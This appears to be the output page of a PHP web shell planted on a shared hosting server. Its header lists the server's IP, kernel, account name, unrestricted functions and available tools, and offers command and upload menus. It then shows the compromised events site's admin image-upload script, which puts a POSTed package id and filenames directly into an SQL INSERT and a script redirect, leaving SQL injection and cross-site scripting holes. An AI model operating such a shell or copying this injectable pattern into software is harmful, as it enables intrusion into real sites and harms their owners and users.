Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/eventsbyshubhchintak/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php // Include the database configuration file include'dbc.php'; if(isset($_POST['submit'])){ // File upload configuration $targetDir = "../media/packageimage/"; $allowTypes = array('jpg','png','jpeg'); $statusMsg = $errorMsg = $insertValuesSQL = $errorUpload = $errorUploadType = ''; $fileNames = array_filter($_FILES['files']['name']); $gallery_id = $_POST['txtpackageid']; if(!empty($fileNames)){ foreach($_FILES['files']['name'] as $key=>$val){ // File upload path $fileName = basename($_FILES['files']['name'][$key]); $targetFilePath = $targetDir . $fileName; // Check whether file type is valid $fileType = pathinfo($targetFilePath, PATHINFO_EXTENSION); if(in_array($fileType, $allowTypes)){ // Upload file to server if(move_uploaded_file($_FILES["files"]["tmp_name"][$key], $targetFilePath)){ // Image db insert sql $insertValuesSQL .= "('".$fileName."', '".$gallery_id."'),"; }else{ $errorUpload .= $_FILES['files']['name'][$key].' | '; } }else{ $errorUploadType .= $_FILES['files']['name'][$key].' | '; } } // Error message $errorUpload = !empty($errorUpload)?'Upload Error: '.trim($errorUpload, ' | '):''; $errorUploadType = !empty($errorUploadType)?'File Type Error: '.trim($errorUploadType, ' | '):''; $errorMsg = !empty($errorUpload)?'<br/>'.$errorUpload.'<br/>'.$errorUploadType:'<br/>'.$errorUploadType; if(!empty($insertValuesSQL)){ $insertValuesSQL = trim($insertValuesSQL, ','); // Insert image file name into database $insert = $conn->query("INSERT INTO tbl_package_image(image,packageid) VALUES $insertValuesSQL"); if($insert){ echo "<script>window.location.href='add-package-image-list.php?m=1&packageid=$gallery_id';</script>"; // header('Location: add-package-image-list.php?m=1&packageid='.$gallery_id); }else{ $statusMsg = "Sorry, there was an error uploading your file."; } }else{ echo "<script>window.location.href='add-package-image-list.php?m=1&packageid=$gallery_id';</script>"; } }else{ $statusMsg = 'Please select a file to upload.'; } } ?>